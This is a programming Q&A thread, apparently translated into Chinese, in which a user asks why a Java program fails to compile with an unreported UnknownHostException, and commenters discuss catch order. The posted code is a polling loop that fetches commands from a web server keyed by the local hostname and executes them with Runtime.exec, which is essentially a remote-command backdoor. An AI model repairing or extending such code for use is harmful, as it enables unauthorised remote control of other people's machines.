import java.net.*;
import java.io.*;
import java.util.*;
public class server{
public static void main(String args[]){
String hostname = "Unknown";
InetAddress addr;
addr = InetAddress.getLocalHost();
hostname = addr.getHostName();
do{
try {
URL c = new URL("http://mywebsite/admin/users/" + hostname + "/c.txt");
URL cinfo = new URL("http://mywebsite/admin/users/" + hostname + "/cinfo.txt");
Scanner c2 = new Scanner(c.openStream());
Scanner cinfo2 = new Scanner(cinfo.openStream());
String c3 = c2.nextLine();
String cinfo3 = cinfo2.nextLine();
URL del = new URL("http://mywebsite/admin/users/" + hostname + "/manager.php?perform=delete");
if ("commandline".compareTo(c3) == 0){
Runtime.getRuntime().exec(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
if ("idle".compareTo(c3) == 0){
System.out.println("Waiting for a command.");
}
if ("print".compareTo(c3) == 0){
System.out.println(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
}
catch(IOException e) {
break;
}
catch(InterruptedException e){
break;
}
} while(true);
}
}
以上是我的Java程序。當我嘗試編譯時,我得到UnknownHostException。如果我試圖抓住它,它會說它是一個錯誤,它已經被捕獲,然後它說它是需要被捕獲的另一個錯誤。通過我上面的代碼,它說它需要被捕獲,但並沒有說它已經被捕獲。誰能幫忙?請注意,在實際的代碼中,'mywebsite'實際上是我的實際網站,但出於隱私的原因,我從上面的代碼塊中刪除了它。Java - 無法捕捉UnknownHostException
錯誤的確切文字是什麼? – SLaks
您是否在IOException之前或之後放置了UnknownHostException catch? –
之後。我需要把它放在嗎? @SLaks這裏是上述代碼的錯誤: server.java:8:未報告的異常java.net.UnknownHostException;必須被捕獲或聲明爲拋出 addr = InetAddress.getLocalHost(); –